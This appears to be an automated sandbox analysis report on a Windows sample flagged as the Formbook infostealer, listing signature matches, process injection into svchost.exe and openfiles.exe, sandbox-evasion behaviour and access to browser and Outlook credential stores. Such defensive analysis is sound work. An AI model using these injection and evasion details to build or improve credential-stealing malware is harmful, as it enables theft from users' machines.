Source: 3NvALxFlHV.exe, 00000003.00000003.1291435079.0000000004663000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 3NvALxFlHV.exe
Source: 3NvALxFlHV.exe, 00000003.00000003.1290994486.000000000480D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 3NvALxFlHV.exe

Source: 3NvALxFlHV.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 7.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 7.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.1605796151.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000D.00000002.3749884813.0000000004BC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3747438658.0000000004D40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.1612426641.0000000008EA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3735188109.00000000030C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.1606404910.0000000005F90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3747679564.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.3747607666.0000000005580000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@15/9

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_0044AF5C GetLastError,FormatMessageW,

3_2_0044AF5C

Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,		3_2_00464422
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		3_2_004364AA

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

3_2_0045D517

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,

3_2_0043701F

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,_memset,_wcslen,_memset,CoCreateInstanceEx,CoSetProxyBlanket,

3_2_0047A999

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

3_2_0043614F

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

File created: C:\Users\user\AppData\Local\Temp\Prober

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Command line argument: ou

3_2_0040D7F0

Source: 3NvALxFlHV.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: openfiles.exe, 0000000C.00000002.3738224214.000000000341D000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000003.1791187024.00000000033FA000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000003.1784656661.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000002.3738224214.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000003.1784526086.00000000033CE000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 3NvALxFlHV.exe

ReversingLabs: Detection: 55%

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

File read: C:\Users\user\Desktop\3NvALxFlHV.exe

Source: unknown	Process created: C:\Users\user\Desktop\3NvALxFlHV.exe "C:\Users\user\Desktop\3NvALxFlHV.exe"
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\3NvALxFlHV.exe"
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	Process created: C:\Windows\SysWOW64\openfiles.exe "C:\Windows\SysWOW64\openfiles.exe"
Source: C:\Windows\SysWOW64\openfiles.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\3NvALxFlHV.exe"	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	Process created: C:\Windows\SysWOW64\openfiles.exe "C:\Windows\SysWOW64\openfiles.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\SysWOW64\openfiles.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Contains functionality to detect sleep reduction / modifications

Source: 3NvALxFlHV.exe

Static file information: File size 1321413 > 1048576

Source:	Binary string: OpnFiles.pdb source: svchost.exe, 00000007.00000003.1575121561.0000000002E3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1575060552.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000B.00000002.3738647619.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: MqYVUkmlJNkso.exe, 0000000B.00000002.3735186978.0000000000AFE000.00000002.00000001.01000000.00000005.sdmp, MqYVUkmlJNkso.exe, 0000000D.00000000.1674752194.0000000000AFE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: 3NvALxFlHV.exe, 00000003.00000003.1293635725.0000000004540000.00000004.00001000.00020000.00000000.sdmp, 3NvALxFlHV.exe, 00000003.00000003.1292612890.00000000046E0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1606099939.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1606099939.000000000359E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1513534300.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1511578211.0000000003000000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000003.1608886325.0000000004EF8000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000002.3748300182.00000000050A0000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000003.1606370162.0000000004D4A000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000002.3748300182.000000000523E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 3NvALxFlHV.exe, 00000003.00000003.1293635725.0000000004540000.00000004.00001000.00020000.00000000.sdmp, 3NvALxFlHV.exe, 00000003.00000003.1292612890.00000000046E0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000007.00000002.1606099939.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1606099939.000000000359E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1513534300.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1511578211.0000000003000000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, openfiles.exe, 0000000C.00000003.1608886325.0000000004EF8000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000002.3748300182.00000000050A0000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000003.1606370162.0000000004D4A000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000002.3748300182.000000000523E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: OpnFiles.pdbGCTL source: svchost.exe, 00000007.00000003.1575121561.0000000002E3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1575060552.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000B.00000002.3738647619.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: openfiles.exe, 0000000C.00000002.3738224214.0000000003379000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000002.3749115290.00000000056CC000.00000004.10000000.00040000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000D.00000000.1674924098.000000000278C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.1897604984.000000001990C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: openfiles.exe, 0000000C.00000002.3738224214.0000000003379000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000002.3749115290.00000000056CC000.00000004.10000000.00040000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000D.00000000.1674924098.000000000278C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.1897604984.000000001990C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_0040EB70 LoadLibraryA,GetProcAddress,

3_2_0040EB70

Source: 3NvALxFlHV.exe

Static PE information: real checksum: 0xa2135 should be: 0x152224

Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_004171D1 push ecx; ret	3_2_004171E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0041E850 push cs; iretd	7_2_0041E8F4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_004190C1 push cs; iretd	7_2_004190C6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_004160D3 push cs; iretd	7_2_004160F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00405345 push edx; iretd	7_2_00405347
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0041F31B push es; retf	7_2_0041F337
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_004183E4 push ebp; ret	7_2_004183F4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_004183F5 push ebp; ret	7_2_004183F4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_004143F9 push edx; iretd	7_2_004143FA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00406C47 push FFFFFF8Fh; iretd	7_2_00406C49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00418421 push ecx; retf 50A1h	7_2_00418466
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0040D4DC pushad ; retf	7_2_0040D51B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00403510 push eax; ret	7_2_00403512
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00401EF7 pushad ; ret	7_2_00401F04
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00418F5D pushfd ; iretd	7_2_00418F87
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034309AD push ecx; mov dword ptr [esp], ecx	7_2_034309B6
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_050D09AD push ecx; mov dword ptr [esp], ecx	12_2_050D09B6
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030D2BC0 push cs; iretd	12_2_030D2BE0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030D4ED1 push ebp; ret	12_2_030D4EE1
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030D4EE2 push ebp; ret	12_2_030D4EE1
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030DB33D push cs; iretd	12_2_030DB3E1
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030C3734 push FFFFFF8Fh; iretd	12_2_030C3736
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030DD6CF push esi; ret	12_2_030DD6D3
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030E15DD pushfd ; ret	12_2_030E15F0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030D5BAE push cs; iretd	12_2_030D5BB3
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030D5A4A pushfd ; iretd	12_2_030D5A74
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030DBE08 push es; retf	12_2_030DBE24
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030C1E32 push edx; iretd	12_2_030C1E34
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_04E854E4 push ebp; retf	12_2_04E85530
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_04E8453E push cs; ret	12_2_04E84540
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_04E87507 push edx; retf	12_2_04E87510

Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		3_2_004772DE
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		3_2_004375B0

Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_00444078

3_2_00444078

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\3NvALxFlHV.exe	API/Special instruction interceptor: Address: 3E2725C
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FFEFE52D324
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FFEFE52D7E4
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FFEFE52D944
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FFEFE52D504
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FFEFE52D544
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FFEFE52D1E4
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FFEFE530154
Source: C:\Windows\SysWOW64\openfiles.exe	API/Special instruction interceptor: Address: 7FFEFE52DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 7_2_0347096E rdtsc

7_2_0347096E

Source: C:\Windows\SysWOW64\openfiles.exe

Window / User API: threadDelayed 9738

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_3-86279

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_3-84996

Source: C:\Users\user\Desktop\3NvALxFlHV.exe	API coverage: 3.0 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\openfiles.exe	API coverage: 2.7 %

Source: C:\Windows\SysWOW64\openfiles.exe TID: 7816	Thread sleep count: 234 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe TID: 7816	Thread sleep time: -468000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe TID: 7816	Thread sleep count: 9738 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe TID: 7816	Thread sleep time: -19476000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe TID: 7832	Thread sleep time: -70000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe TID: 7832	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe TID: 7832	Thread sleep time: -58500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe TID: 7832	Thread sleep count: 42 > 30	Jump to behavior
Source: C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe TID: 7832	Thread sleep time: -42000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\openfiles.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\openfiles.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,	3_2_00452126
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,	3_2_0045C999
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,	3_2_00436ADE
